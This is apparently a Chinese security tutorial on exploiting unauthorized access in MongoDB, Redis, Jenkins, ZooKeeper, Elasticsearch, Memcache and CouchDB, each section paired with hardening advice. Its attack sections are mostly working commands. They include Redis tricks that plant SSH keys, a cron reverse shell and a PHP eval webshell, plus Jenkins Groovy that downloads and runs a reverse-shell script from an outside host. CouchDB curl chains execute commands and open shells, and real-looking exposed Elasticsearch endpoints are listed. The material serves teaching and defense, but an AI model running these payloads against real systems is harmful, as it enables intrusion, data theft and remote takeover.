Web安全|未授权漏洞访问 – 作者:Setup

Mongodb

【漏洞简介】

未授权访问漏洞成因:Mongodb 在启动的时候提供了很多参数,如日志记录到哪个文件夹,是否开启认证等。造成未授权访问的根本原因就在于启动Mongodb的时候未设置 –auth 也很少会有人会给数据库添加上账号密码(默认空口令,它像一张白纸,需要管理员自己去涂写账号),使用默认空口令这将导致任何人无需进行账号认证就可以登陆到数据服务器。

【攻击演示】

在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!当admin.system.users一个用户都没有时,即使mongod启动时添加了—auth参数,如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作(不管是否是以—auth 参数启动),直到在admin.system.users中添加了一个用户。所以如果只是默认安装,攻击者就能直接使用可视化管理工具对mongodb服务器进行连接。

Image

【防御方法】

  1. 为MongoDB添加认证:

1)MongoDB启动时添加–auth参数2)给MongoDB添加用户:

use admin #使用admin库
db.addUser("root", "123456") #添加用户名root密码123456的用户
db.auth("root","123456") #验证下是否添加成功,返回1说明成功
  1. 禁用HTTP和REST端口

MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false

  1. 限制绑定IP

启动时加入参数–bind_ip 127.0.0.1或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

redis未授权访问

【漏洞简介】

Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

【攻击方法一】

练习地址https://www.ichunqiu.com/experiment/detail?id=59321&source=1

[ 实验内容 ]

Redis 未授权访问Redis 默认情况下会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。> Redis未授权访问配合SSH key的综合利用恶意访问者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

[ 环境搭建 ]

网络上自行下载redis程序并按照要求安装即可。具体过程不再赘述

[ 产生本地公钥 ]

在kali中使用命令 ssh-keygen -t rsa 来产生本地的公钥文件

Image

此处直接使用默认的存储地址。 之后输入大于四位数的密码,这里应为是实验,所以使用弱口令方便记忆 ‘123456’

Image

之后将生成的问公钥写入 /temp/test.txt 中

(echo -e "/n/n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n" ) > /tmp/text.txt

Image

[ 连接靶机redis ]

使用如下命令将刚才生成的公钥文件写入靶机的 /root/.ssh 文件夹的authotrized_keys 文件中

cat /tmp/text.txt | /usr/redis/redis-cli -h 172.16.12.2 -p 6379 -x set crackit

Image

之后连接目标靶机,并将目录设定为我们需要的目录以及创建所需要的文件

/usr/redis/redis-cli -h 172.16.12.2 -p 6379
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

Image

之后用ssh进行连接:

Image

Image

【攻击方法二】

直接向靶机的Crontab写入任务计划,反弹shell回来

./redis-cli -h 192.168.152.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/你的攻击机IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

然后在攻击机上启动 nc 监听 4444端口,等待反弹shell。这过程需要一些时间。

【攻击方法三】

这种方法适合非root权限,但需要对方有web服务。假设靶机里面存在WEB服务并且目录在 /var/www/ 中

config set dir /var/www/html
config set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save

Image

在靶机上查看,发现已经成功写入

ImageImage

【防御方法】

  1. 禁止一些高危命令(重启redis才能生效)

    • 修改 redis.conf 文件,禁用远程修改 DB 文件地址

      rename-command FLUSHALL ""
      rename-command CONFIG ""
      rename-command EVAL ""
      
    • 或者通过修改redis.conf文件,改变这些高危命令的名称

      rename-command FLUSHALL "name1"
      rename-command CONFIG "name2"
      rename-command EVAL "name3"
      
  2. 以低权限运行 Redis 服务(重启redis才能生效)

    • 为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

      groupadd -r redis && useradd -r -g redis redis
      
  3. 为 Redis 添加密码验证(重启redis才能生效)

    • 修改 redis.conf 文件,添加

      requirepass mypassword
      
  4. 禁止外网访问 Redis(重启redis才能生效)

    • 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

      bind 127.0.0.1
      

      在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

  5. 修改默认端口

    • 修改配置文件redis.conf文件

      Port 6379
      

      默认端口是6379,可以改变成其他端口(不要冲突就好)

  6. 保证 authorized_keys 文件的安全

    • 为了保证安全,您应该阻止其他用户添加新的公钥。
    • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

      chmod 400 ~/.ssh/authorized_keys
      
    • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

      chattr +i ~/.ssh/authorized_keys
      
    • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

      chattr +i ~/.ssh
      
  7. 设置防火墙策略

// accept

    # iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT

    # iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT

// drop

# iptables -I INPUT -p tcp --dport 6379 -j DROP

# iptables -I INPUT -p udp --dport 6379 -j DROP

// 保存规则并重启 iptables

# service iptables save

# service iptables restart

【 注意!】此处防火墙策略进攻参考,具体按照业务情况来配置。

【参考连接】

https://www.freebuf.com/column/158065.htmlhttps://www.freebuf.com/column/170904.html

Jenkins

【漏洞简介】

enkins是一个功能强大的应用程序,允许持续集成和持续交付项目,无论用的是什么平台。这是一个免费的源代码,可以处理任何类型的构建或持续集成。集成Jenkins可以用于一些测试和部署技术。Jenkins是一种软件允许持续集成。但是,jenkins 未设置帐号密码,或者使用了弱帐号密码就会造成未授权访问

【攻击演示】

使用浏览器访问http://靶机IP:8080因为我靶机设置的是弱口令,所以使用admin,admin可以登录当然,可以反弹shell来控制靶机服务器。
  • 直接使用wget下载反弹shell的脚本:
println "wget [http://www.waitalone.cn/tools/back.py](http://www.waitalone.cn/tools/back.py) -P /tmp/".execute().text

println "python /tmp/back.py 10.1.1.111 8080".execute().text
  • 多种方式拿shell
Groovy I/O 文件读写

读文件new File("/tmp/back.py").getText();new File("c:/windows/win.ini").getText();

//eachLine -- 打开和读取文件的每一行new File("/tmp/back.py").eachLine { println it;}

//readLineslineList = new File("/tmp/back.py").readLines();lineList.each { println it.toUpperCase();}

write轻轻松松写文件new File("/tmp/1.php").write('Hello SecPulse');

多行写入new File("/tmp/1.php").write("""This isjust a test fileto play with

虽然没有回显,但实际上已经把反弹shell的脚本写入到靶机的/tmp/目录下了

图片

图片

在我们的攻击机上用 ‘ nc -lvvp 4444’ 监听本地4444端口,在执行完上面语句之后若能成功则会看到如下内容:

图片

【有个坑点:由于本人在Docker下直接 pull jenkins的镜像进行安装,所以镜像下的系统权限非root,故在网页的脚本控制台处使用 ‘ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ‘ 则会失败】

【防御方法】

  • 禁止把Jenkins直接暴露在公网
  • 添加认证,设置强密码复杂度及账号锁定。

    ZooKeeper

    【漏洞简介】

    Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

【攻击演示】

直接使用 如下命令:

echo envi | nc P

图片

【防御方法】

1. 禁止把Zookeeper直接暴露在公网 2. 添加访问控制,根据情况选择对应方式(认证用户,用户名密码) 3. 绑定指定IP访问

Elasticsearch

【漏洞简介】

Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口,可被非法操作数据

【攻击演示】

可以用的漏洞节点:http://101.198.161.130:9200/_cat/indices/http://101.198.161.130:9200/_plugin/head/ http://101.198.161.130:9200/_nodeshttp://101.198.161.130:9200/_nodes?prettifyhttp://101.198.161.130:9200/_status http://101.198.161.130:9200/_search?prettyhttp://10.203.9.131:9200/zjftu/http://10.203.9.131:9200/zjftu/_search?pretty

图片

Python 测试脚本:

#! /usr/bin/env python

# coding:utf-8

import requestsdef Elasticsearch_check(ip, port=9200, timeout=5): try:   url = "[http://"+ip+":"+str(port)+"/_cat](http://"+ip+":"+str(port)+"/_cat)"   response = requests.get(url) except:   pass if "/_cat/master" in response.content:   print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

if **name** == '**main**':

Elasticsearch_check(“127.0.0.1”)

【历史漏洞】

1 360手机一处Elasticsearch未授权访问 (2016-04-19)https://www.secpulse.com/archives/46394.html2 暴风某站Elasticsearch未授权访问&Hadoop未授权访问(2016-04-27)https://www.secpulse.com/archives/49115.html3 新华网某频道服务器一处Elasticsearch配置不当/可任意操作/涉及被采访人员信息(2016-03-19)https://www.secpulse.com/archives/46976.html (ElasticSearch RCE)4 神器而已证券系列之九州证券某站Elasticsearch远程代码执行漏洞(2015-09-11 18:30)(内含少量内网套路) https://www.secpulse.com/archives/39822.html5 风行某站Elasticsearch配置不当(任意文件读取)https://www.secpulse.com/archives/41126.html6 上海某服务器一处Elasticsearch配置不当/可任意操作/涉及大量敏感信息(790多W用户姓名\身份证号\民族\开房时间\退房时间\房间号等)(2016-03-16) https://www.secpulse.com/archives/46801.html7 广西移动一处Elasticsearch配置不当/可任意操作/涉及大量敏感信息(用户手机号码/IMEI/IMSI/上网时间/地点等)https://www.secpulse.com/archives/46798.html

【防御方法】

1. 限制IP访问,绑定固定IP

2. 在config/elasticsearch.yml中为9200端口设置认证:

http.basic.enabled true #开关,开启会接管全部HTTP连接

http.basic.user “admin” #账号

http.basic.password “admin_pw” #密码

http.basic.ipwhitelist [“localhost”, “127.0.0.1”]

Memcache

【漏洞简介】

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

     除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。
     不同的是,在处理前端用户直接输入的数据时一般会接受更多的安全校验,而从memcached中读取的数据则更容易被开发者认为是可信的,或者是已经通过安全校验的,因此更容易导致安全问题。
    由此可见,导致的二次安全漏洞类型一般由memcached数据使用的位置(XSS通常称之为sink)的不同而不同,如:
    (1)缓存数据未经过滤直接输出可导致XSS;
    (2)缓存数据未经过滤代入拼接的SQL注入查询语句可导致SQL注入;
    (3)缓存数据存储敏感信息(如:用户名、密码),可以通过读取操作直接泄漏;
    (4)缓存数据未经过滤直接通过system()、eval()等函数处理可导致命令执行;
    (5)缓存数据未经过滤直接在header()函数中输出,可导致CRLF漏洞(HTTP响应拆分)。
              … …

【攻击演示】

1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

2、telnet 11211,或 nc -vv 11211,提示连接成功表示漏洞存在

【防御方法】

因memcache无权限控制功能,所以需要用户对访问来源进行限制。

方案一:

如果memcache没有在外网开放的必要,可在memcached启动的时候指定绑定的ip地址为 127.0.0.1。例如:

memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

方案二:(注意:请谨慎配置iptables规则)

如果memcache服务需要对外提供服务,则可以通过iptables进行访问控制,下面是只允许本机访问:

//accept

# iptables -A INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT

# iptables -A INPUT -p udp -s 127.0.0.1 --dport 11211 -j ACCEPT

// drop

# iptables -I INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT

# iptables -I INPUT -p udp -s 127.0.0.1 --dport 11211 -j ACCEPT

//保存规则并重启IPTABLES

# service iptables save

# service iptables restart

方案三: 配置memcached监听本地回环地址127.0.0.1。

[root@local ~]# vim /etc/sysconfig/memcachedOPTIONS="-l 127.0.0.1" #设置本地为监听 [root@local ~]# /etc/init.d/memcached restart #重启服务

CouchDB

【漏洞简介】

【攻击演示】

靶场地址:https://www.mozhe.cn/bug/detail/NU5HQ1huUTNWSmdMMEI0U3pEVHF2dz09bW96aGUmozhe

[ 方案一:读取某个文件 ]

所使用的命令:

[http://219.153.49.228:48700](http://219.153.49.228:48700)curl -X PUT '[http://219.153.49.228:48700/_config/query_servers/cmd](http://219.153.49.228:48700/_config/query_servers/cmd)' -d '"/bin/ls >/var/www/html/list"'

curl -X PUT '[http://219.153.49.228:48700/vultest/](http://219.153.49.228:48700/vultest/)'

curl -X PUT '[http://219.153.49.228:48700/vultest/vul](http://219.153.49.228:48700/vultest/vul)' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST '[http://219.153.49.228:48700/vultest/_temp_view?limit=11](http://219.153.49.228:48700/vultest/_temp_view?limit=11)' -d '{"language":"cmd","map":""}' -H 'Content-type: application/json'

图片图片图片图片

之后到WEB端口查看我们刚才写入的数据:list

图片要读取里面的文件(key.php)的内容:

curl -X PUT '[http://219.153.49.228:48700/_config/query_servers/cmd](http://219.153.49.228:48700/_config/query_servers/cmd)' -d '"/bin/cat /key.php >/var/www/html/keys"'

curl -X PUT '[http://219.153.49.228:48700/vultest1/](http://219.153.49.228:48700/vultest1/)'

curl -X PUT '[http://219.153.49.228:48700/vultest1/vul](http://219.153.49.228:48700/vultest1/vul)' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST '[http://219.153.49.228:48700/vultest1/_temp_view?limit=11](http://219.153.49.228:48700/vultest1/_temp_view?limit=11)' -d '{"language":"cmd","map":""}' -H 'Content-type: application/json'

图片图片图片图片图片

[ 方案二:反弹shell ]

所使用的命令:

curl -X PUT '[http://219.153.49.228:40301/_config/query_servers/merver](http://219.153.49.228:40301/_config/query_servers/merver)' -d '"/bin/bash -i >& /dev/tcp// 0>&1"'

curl -X PUT '[http://219.153.49.228:40301/vultest1/](http://219.153.49.228:40301/vultest1/)'

curl -X PUT '[http://219.153.49.228:40301/vultest1/vul](http://219.153.49.228:40301/vultest1/vul)' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

curl -X POST '[http://219.153.49.228:40301/vultest1/_temp_view?limit=11](http://219.153.49.228:40301/vultest1/_temp_view?limit=11)' -d '{"language":"cmd","map":""}' -H 'Content-type: application/json'

[ 因为靶场的环境设置,反弹shell没能测试成功,具体按照实际网络情况进行测试 ]

【检测脚本】

#!/usr/bin/env python

# -- coding: utf-8 --

import requestsimport hashlibimport randomimport json

def getrandomstr(): strindex = str(random.random()) m = hashlib.md5(strindex.encode('utf-8')).hexdigest() return str(m)[0:6]

ip = raw_input('待检测IP:')dbport = raw_input('db 监听端口:')webport = raw_input('web服务 监听端口:')

dburl = '[http://'+ip+":"+dbport+'/](http://'+ip+":"+dbport+'/)'weburl = '[http://'+ip+":"+webport+'/](http://'+ip+":"+webport+'/)'step1_url_string = '_config/query_servers/cmd'step2_url_string = 'haha'+getrandomstr()+'/'step3_url_string = step2_url_string + 'vul'step4_url_string = dburl+step2_url_string+'_temp_view?limit=11'filename = 'f'+getrandomstr()

cmdstr = 'echo \" couchDB vul scan\">/var/www/html/'+filename

cmds = json.dumps(cmdstr)

# print cmds

step1_data = cmdsstep3_data = '{"_id":"770895a97726d5ca6d70a22173005c7b"}'step4_data = '{"language":"cmd","map":""}'

step4_header = {'Content-type': 'application/json'}

req1 = requests.put(dburl+step1_url_string,step1_data)req2 = requests.put(dburl+step2_url_string)req3 = requests.put(dburl+step3_url_string,step3_data)req4 = requests.post(url=step4_url_string,data=step4_data,headers=step4_header)

checkreq = requests.get(weburl+filename)if 'couchDB vul scan' in checkreq.text:``` print "[+] 高危",ip,'存在CouchDB 未授权访问漏洞。'

图片

【防御方法】

1.  指定CouchDB绑定的IP (需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。

    注:修改后只有本机才能访问CouchDB。

2.  设置访问密码(需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。

3.  设置WWW-Authenticate,强制认证。

部分参考资料

【 Redis 未授权访问漏洞深度利用】 https://www.freebuf.com/vuls/148758.html【未授权访问的tips】https://www.freebuf.com/column/170904.htmlhttp://www.00theway.org/2017/03/27/redis_exp/ https://www.secpulse.com/archives/61101.htmlhttps://xz.aliyun.com/t/84https://www.secpulse.com/archives/61046.htmlhttps://paper.seebug.org/409/ https://www.cnblogs.com/kongzhongqijing/p/6867960.htmlhttps://b1ngz.github.io/jenkins-anonymous-configure-privilege-expoit/【Redis未授权访问详解】https://www.freebuf.com/column/158065.html【】

来源:freebuf.com 2019-03-25 10:12:38 by: Setup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论